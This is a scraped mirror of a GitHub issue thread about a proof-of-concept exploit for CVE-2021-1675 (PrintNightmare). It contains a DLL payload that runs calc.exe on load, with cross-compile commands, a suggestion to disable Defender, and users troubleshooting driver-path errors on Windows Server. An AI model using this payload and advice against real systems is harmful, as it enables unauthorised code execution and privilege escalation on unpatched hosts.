GithubHelp home page GithubHelp logo

Comments (12)

aaminin avatar aaminin commented on June 15, 2024 1

magic!
try use my dll-payload:

#include <windows.h>

int owned()
{
  WinExec("cmd.exe /c \"calc.exe\"",0);
   return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

Linux build:
x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL test.cpp
x86_64-w64-mingw32-g++ -shared -o test.dll test.o -Wl,--out-implib,test.a
find process:
calc.exe or win32calc.exe

from cve-2021-1675.

aaminin avatar aaminin commented on June 15, 2024

try use x64 payload

from cve-2021-1675.

duongdt21 avatar duongdt21 commented on June 15, 2024

yes i'm using windows server 2016 and x64 payload

from cve-2021-1675.

aaminin avatar aaminin commented on June 15, 2024

try disable defender

from cve-2021-1675.

duongdt21 avatar duongdt21 commented on June 15, 2024

I also turned it off. When I print exception, it shows error: RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.

from cve-2021-1675.

aaminin avatar aaminin commented on June 15, 2024

What path print script in pDriverPath section? Does this path exist on system?

from cve-2021-1675.

duongdt21 avatar duongdt21 commented on June 15, 2024

pDriverPath found in my windows. While running poc my dll file was also written to System32/spool/drivers/x64/3.

from cve-2021-1675.

FuckAllWorld avatar FuckAllWorld commented on June 15, 2024

I also turned it off. When I print exception, it shows error: RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.

RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND,same problem,how to solve?

from cve-2021-1675.

duongdt21 avatar duongdt21 commented on June 15, 2024

I used your Poc dll. However it still gives error :( Can I ask for the version of Windows you use test ?

from cve-2021-1675.

aaminin avatar aaminin commented on June 15, 2024

windows server 2016 and windows server 2019

from cve-2021-1675.

duongdt21 avatar duongdt21 commented on June 15, 2024

Yes. I am also using windows 2019 10.0.17763.737 :((

from cve-2021-1675.

citronneur avatar citronneur commented on June 15, 2024

See #25

from cve-2021-1675.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.